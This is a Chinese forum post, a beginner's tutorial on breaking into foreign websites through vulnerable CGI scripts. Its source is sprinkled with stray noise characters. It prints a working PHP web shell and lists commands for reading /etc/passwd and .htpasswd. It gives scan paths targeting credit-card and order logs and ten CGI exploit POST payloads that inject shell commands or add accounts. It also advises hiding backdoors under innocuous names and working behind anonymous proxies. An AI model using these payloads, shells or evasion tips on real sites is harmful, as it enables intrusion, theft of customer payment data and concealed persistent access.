CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
; e1 H# p/ y0 [7 E+ k# f/ p这里让我感觉 很有技术交流的感觉
" v, \# H; h/ k9 @& H% A- m" ~( M我会长长来玩的
7 K- _7 I& k5 D; e! y( Y前言:
6 [. ^4 z) l% Y以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
' t1 |: U' X: T1 `所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

  s$ z: [2 P' k" V. b$ H" a/ T只是个人在实务上一些经验
写的不好 请多多见谅喔
& K6 m9 j+ l4 J# W2 Y' ?8 g7 b. Z0 K在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手

" w! d4 q6 H+ c' T& Z7 w+ S以下内容跟帖回复才能看到
0 h( s% q. S4 C% a3 U; J==============================

第1部份: 何谓Shell?
7 i' p$ K9 q2 c7 ^Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
' x$ b" {/ ?" O, b. C$ ~9 FA shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
, v/ ?. u% t* U. |5 n; _* @; y8 y1 a要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
% ?9 |0 t4 _" ]5 b所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
以下是一些常见及重要的指令:
+ B8 E2 e. ^3 z6 W& ypwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
5 d+ U; w/ j: [+ [+ U9 Z- J1 `ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
0 H  P8 U* t, N' J) V' ?ls /etc: 列出/etc的资料夹及档案
, a: v- L$ @3 o! j" J0 g9 T: Els ../ -al: 详细列出上一层的资料夹及档案
0 S7 X, e5 F7 I( `: Ccat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
4 C; Y* r. `* x2 M1 Y, Kcat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
man: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
9 N& n; [* |" j, z5 Qrmdir 删除目录
' p! A* E5 H4 j1 u& _. A+ j4 a! }mv 移动档案
4 b/ O+ I3 C& h/ W: grm 删除档案
9 W/ R# _5 V4 w7 g5 U
6 \' ^5 H; M3 h第3部份: Shell的使用
$ i3 v$ K& Q7 |0 V0 U例如:
' B) g7 g0 e: _7 Y: ihttp://site.com/refer.php
) _6 n4 Y/ ?1 s3 ]) a2 V这是我的後门, 原代码如下:
1 I3 k0 z$ y4 V. ^6 [<Form Action="#" Method="POST">
<Input type="text" name="cmd">
/ e  M3 U; o5 l' u, J7 z* G<Input type="Submit">
# a) f  H" N  y0 O7 P</Form>
. y  f! P: g6 r: ]( K2 v. J<?php
$cmd = $_POST['cmd'];
. ]. }( x# A7 r3 u$Output = shell_exec($cmd);
9 x4 @" B" X' _2 a6 H1 S: \" lecho $Output;
* c! D" f0 H. M* g?>
3 d; I/ L! w& c3 O0 j) O输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

8 {. g6 c+ ?; G: C5 E( g第4部份: 注意事项
- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
8 g- R- u& u" A( H$ T, K+ ~5 L+ Y不容易被发现.
& W8 C1 B2 w# f0 J; Z1 j- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
& S  O# m- X4 Y- O
4 p  t+ z' w/ G: b, a1.一开始对一个网站进行cgi漏洞扫描
. H7 s& t# f: b我们需要的东西有
扫洞工具 如:triton..等等
E表
如
/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
3 t7 q0 k: G  D4 t7 w3 T8 D! s/Admin_files/order.log
8 f9 A; t7 i# Q8 E' r% E" d* {8 N/orders/mountain.cfg
& D! \* F1 [$ u: v/cgi-sys/cart.pl
& B2 Y# ?8 x) |5 h( I/scripts/cart.pl
/htbin/cart.pl
4 }& D9 f; T# E& BE表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
0 E/ I+ t% w2 i" n" e' H2 h- ^) p5 W一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
  M, I- o, m, l1 P0 ^+ m9 y& `没有返回一定是假的
- z5 a% k  n9 u. q" G2 c1 Z3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
  _+ [! {% f$ Q8 Q4 V因为这些漏洞 使用的语法 称为post
  z7 N$ x, X; a- V! X( M, J我们要找post 的方法很多
. W- Y! E$ F; d9 v! J7 }( A可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
$ |9 v: l2 S/ F8 q9 d0 }# O! b/index.cgi
4 U' G) S0 `6 ]: cwei=ren&gen=command
. Z! y+ W. h- [9 ~5 n/passmaster.cgi
$ z1 I' q8 ]% x! {/ {* k0 gAction=Add&Username=Username&Password=Password
" I! C: ]+ y2 `9 }6 w1 }) J/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
1 ]9 S: J1 T# m5 P% J/form.cgi
$ R6 U& d- f3 }+ f# g" B) Fname=xxxx&email=email&subject=xxxx&response=|echo;ls|
4 B, |* j2 O& Z" T/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
! c0 M- ^" R2 a0 k5 w& t$ duser=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
# k6 s! R/ A9 h- U/recon.cgi
( X4 w2 x" m' ~8 `7 K3 t/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
8 v( ?. O$ k  k1 y/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
. z1 y1 r% U4 x- P/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持
) S$ k: e: c6 Q/ z, q6 b7 u